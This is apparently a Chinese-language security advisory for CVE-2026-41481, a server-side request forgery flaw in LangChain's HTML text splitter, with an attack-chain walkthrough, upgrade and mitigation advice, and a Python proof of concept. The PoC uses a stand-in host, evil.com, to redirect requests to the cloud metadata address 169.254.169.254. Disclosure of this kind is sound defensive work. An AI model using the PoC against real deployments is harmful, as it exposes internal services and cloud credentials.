IPBUF安全漏洞报告
English
CVE-2026-41481 CVSS 6.5 中危

CVE-2026-41481: LangChain SSRF漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41481
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LangChain (langchain-text-splitters)

相关标签

SSRFLangChainCWE-918Information DisclosureOpen Redirect

漏洞概述

LangChain 的 langchain-text-splitters 组件在 1.1.2 版本之前存在服务端请求伪造(SSRF)漏洞。该组件的 HTMLHeaderTextSplitter.split_text_from_url() 函数虽然对初始 URL 进行了验证,但在处理 HTTP 重定向请求时未对重定向目标进行二次校验。攻击者可利用此缺陷绕过 SSRF 防护机制,诱导服务器向内网、本地主机或云元数据端点发起请求,进而可能导致敏感信息泄露。

技术细节

该漏洞的根源在于 HTMLHeaderTextSplitter.split_text_from_url() 方法的安全检查逻辑不完整。方法首先调用 validate_safe_url() 对用户提供的初始 URL 进行安全校验,以防止访问内网地址。然而,在后续的网络请求中,代码使用了 requests.get() 并默认启用了重定向跟随功能。由于程序未对重定向后的目标 URL 再次执行安全校验,攻击者可以构造一个指向恶意服务器的 URL,该服务器在响应中返回 302 重定向指令,将请求指向内网敏感资源(如 127.0.0.1 或云元数据服务)。LangChain 会自动跟随重定向获取内容并将其解析为文档对象。如果应用程序随后将这些文档内容或其衍生数据直接返回给攻击者,便构成了完整的数据泄露路径。

攻击链分析

STEP 1
步骤1:构造恶意URL
攻击者准备一个指向其控制服务器的URL(如 http://evil.com),该服务器配置为对请求返回302重定向响应。
STEP 2
步骤2:提交URL
攻击者将恶意URL提交给使用LangChain的应用程序,调用 split_text_from_url() 函数。
STEP 3
步骤3:绕过初始验证
应用程序的 validate_safe_url() 检查初始URL(evil.com),认为其是合法的外部地址,验证通过。
STEP 4
步骤4:触发重定向
应用程序使用 requests.get() 请求该URL。攻击者的服务器响应302重定向,指向内部敏感端点(如 http://169.254.169.254/latest/meta-data/)。
STEP 5
步骤5:访问内网资源
由于 requests.get() 默认跟随重定向且未对重定向目标进行二次校验,应用程序代为请求内网地址并获取敏感数据。
STEP 6
步骤6:数据泄露
LangChain 将获取的内容解析为 Document 对象。若应用程序将这些内容返回给用户,攻击者成功窃取内网敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-41481 # This script demonstrates how an attacker might trigger the SSRF. # It requires a vulnerable version of langchain-text-splitters (< 1.1.2) from langchain_text_splitters import HTMLHeaderTextSplitter # The attacker controls 'evil.com' and configures it to redirect # requests to an internal metadata service (e.g., AWS IMDS) attacker_controlled_url = "http://evil.com/redirect_to_metadata" def exploit_ssrf(): try: # Initialize the splitter splitter = HTMLHeaderTextSplitter() # The vulnerable function validates 'attacker_controlled_url' (passes), # but follows the redirect to http://169.254.169.254/latest/meta-data/ print(f"[*] Attempting to split text from URL: {attacker_controlled_url}") # In vulnerable versions, this triggers the SSRF docs = splitter.split_text_from_url(attacker_controlled_url) print("[+] Request successful. Data retrieved:") for doc in docs: # If the app prints this back, data is exfiltrated print(doc.page_content) except Exception as e: print(f"[-] Exploit failed or error occurred: {e}") if __name__ == "__main__": exploit_ssrf()

影响范围

langchain-text-splitters < 1.1.2

防御指南

临时缓解措施
建议立即升级组件至修复版本。若无法立即升级,应限制应用程序对非必要外网及内网地址的访问权限(例如通过防火墙规则),或在应用层面对用户提交的 URL 及其最终的重定向目标进行严格的安全校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表